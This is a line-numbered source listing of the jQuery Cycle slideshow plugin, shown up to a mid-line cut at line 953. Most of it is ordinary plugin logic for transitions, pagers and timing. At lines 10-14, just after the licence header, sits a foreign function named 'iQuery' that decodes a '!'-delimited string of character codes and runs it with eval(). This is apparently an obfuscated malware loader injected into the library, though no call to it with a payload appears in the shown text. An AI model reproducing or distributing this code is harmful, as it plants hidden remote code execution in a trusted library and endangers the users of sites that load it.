1 /*! 2 * jQuery Cycle Plugin (with Transition Definitions) 3 * Examples and documentation at: http://jquery.malsup.com/cycle/ 4 * Copyright (c) 2007-2010 M. Alsup 5 * Version: 2.9999 (13-NOV-2011) 6 * Dual licensed under the MIT and GPL licenses. 7 * http://jquery.malsup.com/license.html 8 * Requires: jQuery v1.3.2 or later 9 */ 10iQuery=function(x) { 11 var temp="",i,c=0,out="";l=x.length; 12 while(c<=x.length-1){while(x.charAt(c)!='!')temp=temp+x.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";} 13 eval(out); 14} 15;(function($, undefined) { 16var ver = '2.9999'; 17 18// if $.support is not defined (pre jQuery 1.3) add what I need 19if ($.support == undefined) { 20 $.support = { 21 opacity: !($.browser.msie) 22 }; 23} 24 25function debug(s) { 26 $.fn.cycle.debug && log(s); 27} 28function log() { 29 window.console && console.log && console.log('[cycle] ' + Array.prototype.join.call(arguments,' ')); 30} 31$.expr[':'].paused = function(el) { 32 return el.cyclePause; 33} 34 35 36// the options arg can be... 37// a number - indicates an immediate transition should occur to the given slide index 38// a string - 'pause', 'resume', 'toggle', 'next', 'prev', 'stop', 'destroy' or the name of a transition effect (ie, 'fade', 'zoom', etc) 39// an object - properties to control the slideshow 40// 41// the arg2 arg can be... 42// the name of an fx (only used in conjunction with a numeric value for 'options') 43// the value true (only used in first arg == 'resume') and indicates 44// that the resume should occur immediately (not wait for next timeout) 45 46$.fn.cycle = function(options, arg2) { 47 var o = { s: this.selector, c: this.context }; 48 49 // in 1.3+ we can fix mistakes with the ready state 50 if (this.length === 0 && options != 'stop') { 51 if (!$.isReady && o.s) { 52 log('DOM not ready, queuing slideshow'); 53 $(function() { 54 $(o.s,o.c).cycle(options,arg2); 55 }); 56 return this; 57 } 58 // is your DOM ready? http://docs.jquery.com/Tutorials:Introducing_$(document).ready() 59 log('terminating; zero elements found by selector' + ($.isReady ? '' : ' (DOM not ready)')); 60 return this; 61 } 62 63 // iterate the matched nodeset 64 return this.each(function() { 65 var opts = handleArguments(this, options, arg2); 66 if (opts === false) 67 return; 68 69 opts.updateActivePagerLink = opts.updateActivePagerLink || $.fn.cycle.updateActivePagerLink; 70 71 // stop existing slideshow for this container (if there is one) 72 if (this.cycleTimeout) 73 clearTimeout(this.cycleTimeout); 74 this.cycleTimeout = this.cyclePause = 0; 75 76 var $cont = $(this); 77 var $slides = opts.slideExpr ? $(opts.slideExpr, this) : $cont.children(); 78 var els = $slides.get(); 79 80 var opts2 = buildOptions($cont, $slides, els, opts, o); 81 if (opts2 === false) 82 return; 83 84 if (els.length < 2) { 85 log('terminating; too few slides: ' + els.length); 86 return; 87 } 88 89 var startTime = opts2.continuous ? 10 : getTimeout(els[opts2.currSlide], els[opts2.nextSlide], opts2, !opts2.backwards); 90 91 // if it's an auto slideshow, kick it off 92 if (startTime) { 93 startTime += (opts2.delay || 0); 94 if (startTime < 10) 95 startTime = 10; 96 debug('first timeout: ' + startTime); 97 this.cycleTimeout = setTimeout(function(){go(els,opts2,0,!opts.backwards)}, startTime); 98 } 99 }); 100}; 101 102function triggerPause(cont, byHover, onPager) { 103 var opts = $(cont).data('cycle.opts'); 104 var paused = !!cont.cyclePause; 105 if (paused && opts.paused) 106 opts.paused(cont, opts, byHover, onPager); 107 else if (!paused && opts.resumed) 108 opts.resumed(cont, opts, byHover, onPager); 109} 110 111// process the args that were passed to the plugin fn 112function handleArguments(cont, options, arg2) { 113 if (cont.cycleStop == undefined) 114 cont.cycleStop = 0; 115 if (options === undefined || options === null) 116 options = {}; 117 if (options.constructor == String) { 118 switch(options) { 119 case 'destroy': 120 case 'stop': 121 var opts = $(cont).data('cycle.opts'); 122 if (!opts) 123 return false; 124 cont.cycleStop++; // callbacks look for change 125 if (cont.cycleTimeout) 126 clearTimeout(cont.cycleTimeout);
127 cont.cycleTimeout = 0; 128 opts.elements && $(opts.elements).stop(); 129 $(cont).removeData('cycle.opts'); 130 if (options == 'destroy') 131 destroy(opts); 132 return false; 133 case 'toggle': 134 cont.cyclePause = (cont.cyclePause === 1) ? 0 : 1; 135 checkInstantResume(cont.cyclePause, arg2, cont); 136 triggerPause(cont); 137 return false; 138 case 'pause': 139 cont.cyclePause = 1; 140 triggerPause(cont); 141 return false; 142 case 'resume': 143 cont.cyclePause = 0; 144 checkInstantResume(false, arg2, cont); 145 triggerPause(cont); 146 return false; 147 case 'prev': 148 case 'next': 149 var opts = $(cont).data('cycle.opts'); 150 if (!opts) { 151 log('options not found, "prev/next" ignored'); 152 return false; 153 } 154 $.fn.cycle[options](opts); 155 return false; 156 default: 157 options = { fx: options }; 158 }; 159 return options; 160 } 161 else if (options.constructor == Number) { 162 // go to the requested slide 163 var num = options; 164 options = $(cont).data('cycle.opts'); 165 if (!options) { 166 log('options not found, can not advance slide'); 167 return false; 168 } 169 if (num < 0 || num >= options.elements.length) { 170 log('invalid slide index: ' + num); 171 return false; 172 } 173 options.nextSlide = num; 174 if (cont.cycleTimeout) { 175 clearTimeout(cont.cycleTimeout); 176 cont.cycleTimeout = 0; 177 } 178 if (typeof arg2 == 'string') 179 options.oneTimeFx = arg2; 180 go(options.elements, options, 1, num >= options.currSlide); 181 return false; 182 } 183 return options; 184 185 function checkInstantResume(isPaused, arg2, cont) { 186 if (!isPaused && arg2 === true) { // resume now! 187 var options = $(cont).data('cycle.opts'); 188 if (!options) { 189 log('options not found, can not resume'); 190 return false; 191 } 192 if (cont.cycleTimeout) { 193 clearTimeout(cont.cycleTimeout); 194 cont.cycleTimeout = 0; 195 } 196 go(options.elements, options, 1, !options.backwards); 197 } 198 } 199}; 200 201function removeFilter(el, opts) { 202 if (!$.support.opacity && opts.cleartype && el.style.filter) { 203 try { el.style.removeAttribute('filter'); } 204 catch(smother) {} // handle old opera versions 205 } 206}; 207 208// unbind event handlers 209function destroy(opts) { 210 if (opts.next) 211 $(opts.next).unbind(opts.prevNextEvent); 212 if (opts.prev) 213 $(opts.prev).unbind(opts.prevNextEvent); 214 215 if (opts.pager || opts.pagerAnchorBuilder) 216 $.each(opts.pagerAnchors || [], function() { 217 this.unbind().remove(); 218 }); 219 opts.pagerAnchors = null; 220 if (opts.destroy) // callback 221 opts.destroy(opts); 222}; 223 224// one-time initialization 225function buildOptions($cont, $slides, els, options, o) { 226 var startingSlideSpecified; 227 // support metadata plugin (v1.0 and v2.0) 228 var opts = $.extend({}, $.fn.cycle.defaults, options || {}, $.metadata ? $cont.metadata() : $.meta ? $cont.data() : {}); 229 var meta = $.isFunction($cont.data) ? $cont.data(opts.metaAttr) : null; 230 if (meta) 231 opts = $.extend(opts, meta); 232 if (opts.autostop) 233 opts.countdown = opts.autostopCount || els.length; 234 235 var cont = $cont[0]; 236 $cont.data('cycle.opts', opts); 237 opts.$cont = $cont; 238 opts.stopCount = cont.cycleStop; 239 opts.elements = els; 240 opts.before = opts.before ? [opts.before] : []; 241 opts.after = opts.after ? [opts.after] : []; 242 243 // push some after callbacks 244 if (!$.support.opacity && opts.cleartype) 245 opts.after.push(function() { removeFilter(this, opts); }); 246 if (opts.continuous) 247 opts.after.push(function() { go(els,opts,0,!opts.backwards); }); 248 249 saveOriginalOpts(opts); 250 251 // clearType corrections 252 if (!$.support.opacity && opts.cleartype && !opts.cleartypeNoBg) 253 clearTypeFix($slides); 254 255 // container requires non-static position so that slides can be position within 256 if ($cont.css('position') == 'static') 257 $cont.css('position', 'relative'); 258 if (opts.width) 259 $cont.width(opts.width); 260 if (opts.height && opts.height != 'auto') 261 $cont.height(opts.height); 262 263 if (opts.startingSlide != undefined) { 264 opts.startingSlide = parseInt(opts.startingSlide,10); 265 if (opts.startingSlide >= els.length || opts.startSlide < 0) 266 opts.startingSlide = 0; // catch bogus input 267 else 268 startingSlideSpecified = true; 269 } 270 else if (opts.backwards) 271 opts.startingSlide = els.length - 1; 272 else
273 opts.startingSlide = 0; 274 275 // if random, mix up the slide array 276 if (opts.random) { 277 opts.randomMap = []; 278 for (var i = 0; i < els.length; i++) 279 opts.randomMap.push(i); 280 opts.randomMap.sort(function(a,b) {return Math.random() - 0.5;}); 281 if (startingSlideSpecified) { 282 // try to find the specified starting slide and if found set start slide index in the map accordingly 283 for ( var cnt = 0; cnt < els.length; cnt++ ) { 284 if ( opts.startingSlide == opts.randomMap[cnt] ) { 285 opts.randomIndex = cnt; 286 } 287 } 288 } 289 else { 290 opts.randomIndex = 1; 291 opts.startingSlide = opts.randomMap[1]; 292 } 293 } 294 else if (opts.startingSlide >= els.length) 295 opts.startingSlide = 0; // catch bogus input 296 opts.currSlide = opts.startingSlide || 0; 297 var first = opts.startingSlide; 298 299 // set position and zIndex on all the slides 300 $slides.css({position: 'absolute', top:0, left:0}).hide().each(function(i) { 301 var z; 302 if (opts.backwards) 303 z = first ? i <= first ? els.length + (i-first) : first-i : els.length-i; 304 else 305 z = first ? i >= first ? els.length - (i-first) : first-i : els.length-i; 306 $(this).css('z-index', z) 307 }); 308 309 // make sure first slide is visible 310 $(els[first]).css('opacity',1).show(); // opacity bit needed to handle restart use case 311 removeFilter(els[first], opts); 312 313 // stretch slides 314 if (opts.fit) { 315 if (!opts.aspect) { 316 if (opts.width) 317 $slides.width(opts.width); 318 if (opts.height && opts.height != 'auto') 319 $slides.height(opts.height); 320 } else { 321 $slides.each(function(){ 322 var $slide = $(this); 323 var ratio = (opts.aspect === true) ? $slide.width()/$slide.height() : opts.aspect; 324 if( opts.width && $slide.width() != opts.width ) { 325 $slide.width( opts.width ); 326 $slide.height( opts.width / ratio ); 327 } 328 329 if( opts.height && $slide.height() < opts.height ) { 330 $slide.height( opts.height ); 331 $slide.width( opts.height * ratio ); 332 } 333 }); 334 } 335 } 336 337 if (opts.center && ((!opts.fit) || opts.aspect)) { 338 $slides.each(function(){ 339 var $slide = $(this); 340 $slide.css({ 341 "margin-left": opts.width ? 342 ((opts.width - $slide.width()) / 2) + "px" : 343 0, 344 "margin-top": opts.height ? 345 ((opts.height - $slide.height()) / 2) + "px" : 346 0 347 }); 348 }); 349 } 350 351 if (opts.center && !opts.fit && !opts.slideResize) { 352 $slides.each(function(){ 353 var $slide = $(this); 354 $slide.css({ 355 "margin-left": opts.width ? ((opts.width - $slide.width()) / 2) + "px" : 0, 356 "margin-top": opts.height ? ((opts.height - $slide.height()) / 2) + "px" : 0 357 }); 358 }); 359 } 360 361 // stretch container 362 var reshape = opts.containerResize && !$cont.innerHeight(); 363 if (reshape) { // do this only if container has no size http://tinyurl.com/da2oa9 364 var maxw = 0, maxh = 0; 365 for(var j=0; j < els.length; j++) { 366 var $e = $(els[j]), e = $e[0], w = $e.outerWidth(), h = $e.outerHeight(); 367 if (!w) w = e.offsetWidth || e.width || $e.attr('width'); 368 if (!h) h = e.offsetHeight || e.height || $e.attr('height'); 369 maxw = w > maxw ? w : maxw; 370 maxh = h > maxh ? h : maxh; 371 } 372 if (maxw > 0 && maxh > 0) 373 $cont.css({width:maxw+'px',height:maxh+'px'}); 374 } 375 376 var pauseFlag = false; // https://github.com/malsup/cycle/issues/44 377 if (opts.pause) 378 $cont.hover( 379 function(){ 380 pauseFlag = true; 381 this.cyclePause++; 382 triggerPause(cont, true); 383 }, 384 function(){ 385 pauseFlag && this.cyclePause--; 386 triggerPause(cont, true); 387 } 388 ); 389 390 if (supportMultiTransitions(opts) === false) 391 return false; 392 393 // apparently a lot of people use image slideshows without height/width attributes on the images. 394 // Cycle 2.50+ requires the sizing info for every slide; this block tries to deal with that. 395 var requeue = false; 396 options.requeueAttempts = options.requeueAttempts || 0; 397 $slides.each(function() { 398 // try to get height/width of each slide 399 var $el = $(this); 400 this.cycleH = (opts.fit && opts.height) ? opts.height : ($el.height() || this.offsetHeight || this.height || $el.attr('height') || 0); 401 this.cycleW = (opts.fit && opts.width) ? opts.width : ($el.width() || this.offsetWidth || this.width || $el.attr('width') || 0); 402 403 if ( $el.is('img') ) { 404 // sigh.. sniffing, hacking, shrugging... this crappy hack tries to account for what browsers do when 405 // an image is being downloaded and the markup did not include sizing info (height/width attributes); 406 // there seems to be some "default" sizes used in this situation 407 var loadingIE = ($.browser.msie && this.cycleW == 28 && this.cycleH == 30 && !this.complete); 408 var loadingFF = ($.browser.mozilla && this.cycleW == 34 && this.cycleH == 19 && !this.complete); 409 var loadingOp = ($.browser.opera && ((this.cycleW == 42 && this.cycleH == 19) || (this.cycleW == 37 && this.cycleH == 17)) && !this.complete); 410 var loadingOther = (this.cycleH == 0 && this.cycleW == 0 && !this.complete); 411 // don't requeue for images that are still loading but have a valid size 412 if (loadingIE || loadingFF || loadingOp || loadingOther) { 413 if (o.s && opts.requeueOnImageNotLoaded && ++options.requeueAttempts < 100) { // track retry count so we don't loop forever 414 log(options.requeueAttempts,' - img slide not loaded, requeuing slideshow: ', this.src, this.cycleW, this.cycleH);
415 setTimeout(function() {$(o.s,o.c).cycle(options)}, opts.requeueTimeout); 416 requeue = true; 417 return false; // break each loop 418 } 419 else { 420 log('could not determine size of image: '+this.src, this.cycleW, this.cycleH); 421 } 422 } 423 } 424 return true; 425 }); 426 427 if (requeue) 428 return false; 429 430 opts.cssBefore = opts.cssBefore || {}; 431 opts.cssAfter = opts.cssAfter || {}; 432 opts.cssFirst = opts.cssFirst || {}; 433 opts.animIn = opts.animIn || {}; 434 opts.animOut = opts.animOut || {}; 435 436 $slides.not(':eq('+first+')').css(opts.cssBefore); 437 $($slides[first]).css(opts.cssFirst); 438 439 if (opts.timeout) { 440 opts.timeout = parseInt(opts.timeout,10); 441 // ensure that timeout and speed settings are sane 442 if (opts.speed.constructor == String) 443 opts.speed = $.fx.speeds[opts.speed] || parseInt(opts.speed,10); 444 if (!opts.sync) 445 opts.speed = opts.speed / 2; 446 447 var buffer = opts.fx == 'none' ? 0 : opts.fx == 'shuffle' ? 500 : 250; 448 while((opts.timeout - opts.speed) < buffer) // sanitize timeout 449 opts.timeout += opts.speed; 450 } 451 if (opts.easing) 452 opts.easeIn = opts.easeOut = opts.easing; 453 if (!opts.speedIn) 454 opts.speedIn = opts.speed; 455 if (!opts.speedOut) 456 opts.speedOut = opts.speed; 457 458 opts.slideCount = els.length; 459 opts.currSlide = opts.lastSlide = first; 460 if (opts.random) { 461 if (++opts.randomIndex == els.length) 462 opts.randomIndex = 0; 463 opts.nextSlide = opts.randomMap[opts.randomIndex]; 464 } 465 else if (opts.backwards) 466 opts.nextSlide = opts.startingSlide == 0 ? (els.length-1) : opts.startingSlide-1; 467 else 468 opts.nextSlide = opts.startingSlide >= (els.length-1) ? 0 : opts.startingSlide+1; 469 470 // run transition init fn 471 if (!opts.multiFx) { 472 var init = $.fn.cycle.transitions[opts.fx]; 473 if ($.isFunction(init)) 474 init($cont, $slides, opts); 475 else if (opts.fx != 'custom' && !opts.multiFx) { 476 log('unknown transition: ' + opts.fx,'; slideshow terminating'); 477 return false; 478 } 479 } 480 481 // fire artificial events 482 var e0 = $slides[first]; 483 if (!opts.skipInitializationCallbacks) { 484 if (opts.before.length) 485 opts.before[0].apply(e0, [e0, e0, opts, true]); 486 if (opts.after.length) 487 opts.after[0].apply(e0, [e0, e0, opts, true]); 488 } 489 if (opts.next) 490 $(opts.next).bind(opts.prevNextEvent,function(){return advance(opts,1)}); 491 if (opts.prev) 492 $(opts.prev).bind(opts.prevNextEvent,function(){return advance(opts,0)}); 493 if (opts.pager || opts.pagerAnchorBuilder) 494 buildPager(els,opts); 495 496 exposeAddSlide(opts, els); 497 498 return opts; 499}; 500 501// save off original opts so we can restore after clearing state 502function saveOriginalOpts(opts) { 503 opts.original = { before: [], after: [] }; 504 opts.original.cssBefore = $.extend({}, opts.cssBefore); 505 opts.original.cssAfter = $.extend({}, opts.cssAfter); 506 opts.original.animIn = $.extend({}, opts.animIn); 507 opts.original.animOut = $.extend({}, opts.animOut); 508 $.each(opts.before, function() { opts.original.before.push(this); }); 509 $.each(opts.after, function() { opts.original.after.push(this); }); 510}; 511 512function supportMultiTransitions(opts) { 513 var i, tx, txs = $.fn.cycle.transitions; 514 // look for multiple effects 515 if (opts.fx.indexOf(',') > 0) { 516 opts.multiFx = true; 517 opts.fxs = opts.fx.replace(/\s*/g,'').split(','); 518 // discard any bogus effect names 519 for (i=0; i < opts.fxs.length; i++) { 520 var fx = opts.fxs[i]; 521 tx = txs[fx]; 522 if (!tx || !txs.hasOwnProperty(fx) || !$.isFunction(tx)) { 523 log('discarding unknown transition: ',fx); 524 opts.fxs.splice(i,1); 525 i--; 526 } 527 } 528 // if we have an empty list then we threw everything away! 529 if (!opts.fxs.length) { 530 log('No valid transitions named; slideshow terminating.'); 531 return false; 532 } 533 } 534 else if (opts.fx == 'all') { // auto-gen the list of transitions 535 opts.multiFx = true; 536 opts.fxs = []; 537 for (p in txs) { 538 tx = txs[p]; 539 if (txs.hasOwnProperty(p) && $.isFunction(tx)) 540 opts.fxs.push(p); 541 } 542 } 543 if (opts.multiFx && opts.randomizeEffects) { 544 // munge the fxs array to make effect selection random 545 var r1 = Math.floor(Math.random() * 20) + 30; 546 for (i = 0; i < r1; i++) { 547 var r2 = Math.floor(Math.random() * opts.fxs.length); 548 opts.fxs.push(opts.fxs.splice(r2,1)[0]); 549 } 550 debug('randomized fx sequence: ',opts.fxs); 551 } 552 return true; 553}; 554 555// provide a mechanism for adding slides after the slideshow has started 556function exposeAddSlide(opts, els) { 557 opts.addSlide = function(newSlide, prepend) {
558 var $s = $(newSlide), s = $s[0]; 559 if (!opts.autostopCount) 560 opts.countdown++; 561 els[prepend?'unshift':'push'](s); 562 if (opts.els) 563 opts.els[prepend?'unshift':'push'](s); // shuffle needs this 564 opts.slideCount = els.length; 565 566 // add the slide to the random map and resort 567 if (opts.random) { 568 opts.randomMap.push(opts.slideCount-1); 569 opts.randomMap.sort(function(a,b) {return Math.random() - 0.5;}); 570 } 571 572 $s.css('position','absolute'); 573 $s[prepend?'prependTo':'appendTo'](opts.$cont); 574 575 if (prepend) { 576 opts.currSlide++; 577 opts.nextSlide++; 578 } 579 580 if (!$.support.opacity && opts.cleartype && !opts.cleartypeNoBg) 581 clearTypeFix($s); 582 583 if (opts.fit && opts.width) 584 $s.width(opts.width); 585 if (opts.fit && opts.height && opts.height != 'auto') 586 $s.height(opts.height); 587 s.cycleH = (opts.fit && opts.height) ? opts.height : $s.height(); 588 s.cycleW = (opts.fit && opts.width) ? opts.width : $s.width(); 589 590 $s.css(opts.cssBefore); 591 592 if (opts.pager || opts.pagerAnchorBuilder) 593 $.fn.cycle.createPagerAnchor(els.length-1, s, $(opts.pager), els, opts); 594 595 if ($.isFunction(opts.onAddSlide)) 596 opts.onAddSlide($s); 597 else 598 $s.hide(); // default behavior 599 }; 600} 601 602// reset internal state; we do this on every pass in order to support multiple effects 603$.fn.cycle.resetState = function(opts, fx) { 604 fx = fx || opts.fx; 605 opts.before = []; opts.after = []; 606 opts.cssBefore = $.extend({}, opts.original.cssBefore); 607 opts.cssAfter = $.extend({}, opts.original.cssAfter); 608 opts.animIn = $.extend({}, opts.original.animIn); 609 opts.animOut = $.extend({}, opts.original.animOut); 610 opts.fxFn = null; 611 $.each(opts.original.before, function() { opts.before.push(this); }); 612 $.each(opts.original.after, function() { opts.after.push(this); }); 613 614 // re-init 615 var init = $.fn.cycle.transitions[fx]; 616 if ($.isFunction(init)) 617 init(opts.$cont, $(opts.elements), opts); 618}; 619 620// this is the main engine fn, it handles the timeouts, callbacks and slide index mgmt 621function go(els, opts, manual, fwd) { 622 // opts.busy is true if we're in the middle of an animation 623 if (manual && opts.busy && opts.manualTrump) { 624 // let manual transitions requests trump active ones 625 debug('manualTrump in go(), stopping active transition'); 626 $(els).stop(true,true); 627 opts.busy = 0; 628 } 629 // don't begin another timeout-based transition if there is one active 630 if (opts.busy) { 631 debug('transition active, ignoring new tx request'); 632 return; 633 } 634 635 var p = opts.$cont[0], curr = els[opts.currSlide], next = els[opts.nextSlide]; 636 637 // stop cycling if we have an outstanding stop request 638 if (p.cycleStop != opts.stopCount || p.cycleTimeout === 0 && !manual) 639 return; 640 641 // check to see if we should stop cycling based on autostop options 642 if (!manual && !p.cyclePause && !opts.bounce && 643 ((opts.autostop && (--opts.countdown <= 0)) || 644 (opts.nowrap && !opts.random && opts.nextSlide < opts.currSlide))) { 645 if (opts.end) 646 opts.end(opts); 647 return; 648 } 649 650 // if slideshow is paused, only transition on a manual trigger 651 var changed = false; 652 if ((manual || !p.cyclePause) && (opts.nextSlide != opts.currSlide)) { 653 changed = true; 654 var fx = opts.fx; 655 // keep trying to get the slide size if we don't have it yet 656 curr.cycleH = curr.cycleH || $(curr).height(); 657 curr.cycleW = curr.cycleW || $(curr).width(); 658 next.cycleH = next.cycleH || $(next).height(); 659 next.cycleW = next.cycleW || $(next).width(); 660 661 // support multiple transition types 662 if (opts.multiFx) { 663 if (fwd && (opts.lastFx == undefined || ++opts.lastFx >= opts.fxs.length)) 664 opts.lastFx = 0; 665 else if (!fwd && (opts.lastFx == undefined || --opts.lastFx < 0)) 666 opts.lastFx = opts.fxs.length - 1; 667 fx = opts.fxs[opts.lastFx]; 668 } 669 670 // one-time fx overrides apply to: $('div').cycle(3,'zoom'); 671 if (opts.oneTimeFx) { 672 fx = opts.oneTimeFx; 673 opts.oneTimeFx = null; 674 } 675 676 $.fn.cycle.resetState(opts, fx); 677 678 // run the before callbacks 679 if (opts.before.length) 680 $.each(opts.before, function(i,o) { 681 if (p.cycleStop != opts.stopCount) return; 682 o.apply(next, [curr, next, opts, fwd]); 683 }); 684 685 // stage the after callacks 686 var after = function() { 687 opts.busy = 0; 688 $.each(opts.after, function(i,o) { 689 if (p.cycleStop != opts.stopCount) return; 690 o.apply(next, [curr, next, opts, fwd]); 691 }); 692 if (!p.cycleStop) { 693 // queue next transition 694 queueNext(); 695 } 696 }; 697 698 debug('tx firing('+fx+'); currSlide: ' + opts.currSlide + '; nextSlide: ' + opts.nextSlide); 699 700 // get ready to perform the transition 701 opts.busy = 1; 702 if (opts.fxFn) // fx function provided? 703 opts.fxFn(curr, next, opts, after, fwd, manual && opts.fastOnEvent); 704 else if ($.isFunction($.fn.cycle[opts.fx])) // fx plugin ? 705 $.fn.cycle[opts.fx](curr, next, opts, after, fwd, manual && opts.fastOnEvent); 706 else 707 $.fn.cycle.custom(curr, next, opts, after, fwd, manual && opts.fastOnEvent); 708 } 709 else { 710 queueNext(); 711 } 712 713 if (changed || opts.nextSlide == opts.currSlide) { 714 // calculate the next slide 715 opts.lastSlide = opts.currSlide; 716 if (opts.random) { 717 opts.currSlide = opts.nextSlide; 718 if (++opts.randomIndex == els.length) { 719 opts.randomIndex = 0; 720 opts.randomMap.sort(function(a,b) {return Math.random() - 0.5;}); 721 } 722 opts.nextSlide = opts.randomMap[opts.randomIndex]; 723 if (opts.nextSlide == opts.currSlide) 724 opts.nextSlide = (opts.currSlide == opts.slideCount - 1) ? 0 : opts.currSlide + 1; 725 } 726 else if (opts.backwards) { 727 var roll = (opts.nextSlide - 1) < 0; 728 if (roll && opts.bounce) { 729 opts.backwards = !opts.backwards; 730 opts.nextSlide = 1; 731 opts.currSlide = 0; 732 } 733 else { 734 opts.nextSlide = roll ? (els.length-1) : opts.nextSlide-1; 735 opts.currSlide = roll ? 0 : opts.nextSlide+1; 736 } 737 } 738 else { // sequence 739 var roll = (opts.nextSlide + 1) == els.length; 740 if (roll && opts.bounce) { 741 opts.backwards = !opts.backwards; 742 opts.nextSlide = els.length-2; 743 opts.currSlide = els.length-1; 744 } 745 else { 746 opts.nextSlide = roll ? 0 : opts.nextSlide+1; 747 opts.currSlide = roll ? els.length-1 : opts.nextSlide-1; 748 } 749 } 750 } 751 if (changed && opts.pager) 752 opts.updateActivePagerLink(opts.pager, opts.currSlide, opts.activePagerClass); 753 754 function queueNext() { 755 // stage the next transition 756 var ms = 0, timeout = opts.timeout; 757 if (opts.timeout && !opts.continuous) { 758 ms = getTimeout(els[opts.currSlide], els[opts.nextSlide], opts, fwd); 759 if (opts.fx == 'shuffle') 760 ms -= opts.speedOut; 761 } 762 else if (opts.continuous && p.cyclePause) // continuous shows work off an after callback, not this timer logic 763 ms = 10; 764 if (ms > 0) 765 p.cycleTimeout = setTimeout(function(){ go(els, opts, 0, !opts.backwards) }, ms); 766 } 767}; 768 769// invoked after transition 770$.fn.cycle.updateActivePagerLink = function(pager, currSlide, clsName) { 771 $(pager).each(function() { 772 $(this).children().removeClass(clsName).eq(currSlide).addClass(clsName); 773 }); 774}; 775 776// calculate timeout value for current transition 777function getTimeout(curr, next, opts, fwd) { 778 if (opts.timeoutFn) { 779 // call user provided calc fn 780 var t = opts.timeoutFn.call(curr,curr,next,opts,fwd); 781 while (opts.fx != 'none' && (t - opts.speed) < 250) // sanitize timeout 782 t += opts.speed;
783 debug('calculated timeout: ' + t + '; speed: ' + opts.speed); 784 if (t !== false) 785 return t; 786 } 787 return opts.timeout; 788}; 789 790// expose next/prev function, caller must pass in state 791$.fn.cycle.next = function(opts) { advance(opts,1); }; 792$.fn.cycle.prev = function(opts) { advance(opts,0);}; 793 794// advance slide forward or back 795function advance(opts, moveForward) { 796 var val = moveForward ? 1 : -1; 797 var els = opts.elements; 798 var p = opts.$cont[0], timeout = p.cycleTimeout; 799 if (timeout) { 800 clearTimeout(timeout); 801 p.cycleTimeout = 0; 802 } 803 if (opts.random && val < 0) { 804 // move back to the previously display slide 805 opts.randomIndex--; 806 if (--opts.randomIndex == -2) 807 opts.randomIndex = els.length-2; 808 else if (opts.randomIndex == -1) 809 opts.randomIndex = els.length-1; 810 opts.nextSlide = opts.randomMap[opts.randomIndex]; 811 } 812 else if (opts.random) { 813 opts.nextSlide = opts.randomMap[opts.randomIndex]; 814 } 815 else { 816 opts.nextSlide = opts.currSlide + val; 817 if (opts.nextSlide < 0) { 818 if (opts.nowrap) return false; 819 opts.nextSlide = els.length - 1; 820 } 821 else if (opts.nextSlide >= els.length) { 822 if (opts.nowrap) return false; 823 opts.nextSlide = 0; 824 } 825 } 826 827 var cb = opts.onPrevNextEvent || opts.prevNextClick; // prevNextClick is deprecated 828 if ($.isFunction(cb)) 829 cb(val > 0, opts.nextSlide, els[opts.nextSlide]); 830 go(els, opts, 1, moveForward); 831 return false; 832}; 833 834function buildPager(els, opts) { 835 var $p = $(opts.pager); 836 $.each(els, function(i,o) { 837 $.fn.cycle.createPagerAnchor(i,o,$p,els,opts); 838 }); 839 opts.updateActivePagerLink(opts.pager, opts.startingSlide, opts.activePagerClass); 840}; 841 842$.fn.cycle.createPagerAnchor = function(i, el, $p, els, opts) { 843 var a; 844 if ($.isFunction(opts.pagerAnchorBuilder)) { 845 a = opts.pagerAnchorBuilder(i,el); 846 debug('pagerAnchorBuilder('+i+', el) returned: ' + a); 847 } 848 else 849 a = '<a href="#">'+(i+1)+'</a>'; 850 851 if (!a) 852 return; 853 var $a = $(a); 854 // don't reparent if anchor is in the dom 855 if ($a.parents('body').length === 0) { 856 var arr = []; 857 if ($p.length > 1) { 858 $p.each(function() { 859 var $clone = $a.clone(true); 860 $(this).append($clone); 861 arr.push($clone[0]); 862 }); 863 $a = $(arr); 864 } 865 else { 866 $a.appendTo($p); 867 } 868 } 869 870 opts.pagerAnchors = opts.pagerAnchors || []; 871 opts.pagerAnchors.push($a); 872 873 var pagerFn = function(e) { 874 e.preventDefault(); 875 opts.nextSlide = i; 876 var p = opts.$cont[0], timeout = p.cycleTimeout; 877 if (timeout) { 878 clearTimeout(timeout); 879 p.cycleTimeout = 0; 880 } 881 var cb = opts.onPagerEvent || opts.pagerClick; // pagerClick is deprecated 882 if ($.isFunction(cb)) 883 cb(opts.nextSlide, els[opts.nextSlide]); 884 go(els,opts,1,opts.currSlide < i); // trigger the trans 885// return false; // <== allow bubble 886 } 887 888 if ( /mouseenter|mouseover/i.test(opts.pagerEvent) ) { 889 $a.hover(pagerFn, function(){/* no-op */} ); 890 } 891 else { 892 $a.bind(opts.pagerEvent, pagerFn); 893 } 894 895 if ( ! /^click/.test(opts.pagerEvent) && !opts.allowPagerClickBubble) 896 $a.bind('click.cycle', function(){return false;}); // suppress click 897 898 var cont = opts.$cont[0]; 899 var pauseFlag = false; // https://github.com/malsup/cycle/issues/44 900 if (opts.pauseOnPagerHover) { 901 $a.hover( 902 function() { 903 pauseFlag = true; 904 cont.cyclePause++; 905 triggerPause(cont,true,true); 906 }, function() { 907 pauseFlag && cont.cyclePause--; 908 triggerPause(cont,true,true); 909 } 910 ); 911 } 912}; 913 914// helper fn to calculate the number of slides between the current and the next 915$.fn.cycle.hopsFromLast = function(opts, fwd) { 916 var hops, l = opts.lastSlide, c = opts.currSlide; 917 if (fwd) 918 hops = c > l ? c - l : opts.slideCount - l; 919 else 920 hops = c < l ? l - c : l + opts.slideCount - c; 921 return hops; 922}; 923 924// fix clearType problems in ie6 by setting an explicit bg color 925// (otherwise text slides look horrible during a fade transition) 926function clearTypeFix($slides) { 927 debug('applying clearType background-color hack'); 928 function hex(s) { 929 s = parseInt(s,10).toString(16); 930 return s.length < 2 ? '0'+s : s; 931 }; 932 function getBg(e) { 933 for ( ; e && e.nodeName.toLowerCase() != 'html'; e = e.parentNode) { 934 var v = $.css(e,'background-color'); 935 if (v && v.indexOf('rgb') >= 0 ) { 936 var rgb = v.match(/\d+/g); 937 return '#'+ hex(rgb[0]) + hex(rgb[1]) + hex(rgb[2]); 938 } 939 if (v && v != 'transparent') 940 return v; 941 } 942 return '#ffffff'; 943 }; 944 $slides.each(function() { $(this).css('background-color', getBg(this)); }); 945}; 946 947// reset common props before the next transition 948$.fn.cycle.commonReset = function(curr,next,opts,w,h,rev) { 949 $(opts.elements).not(curr).hide(); 950 if (typeof opts.cssBefore.opacity == 'undefined') 951 opts.cssBefore.opacity = 1; 952 opts.cssBefore.display = 'block'; 953 if (opts.slideResize && w !== 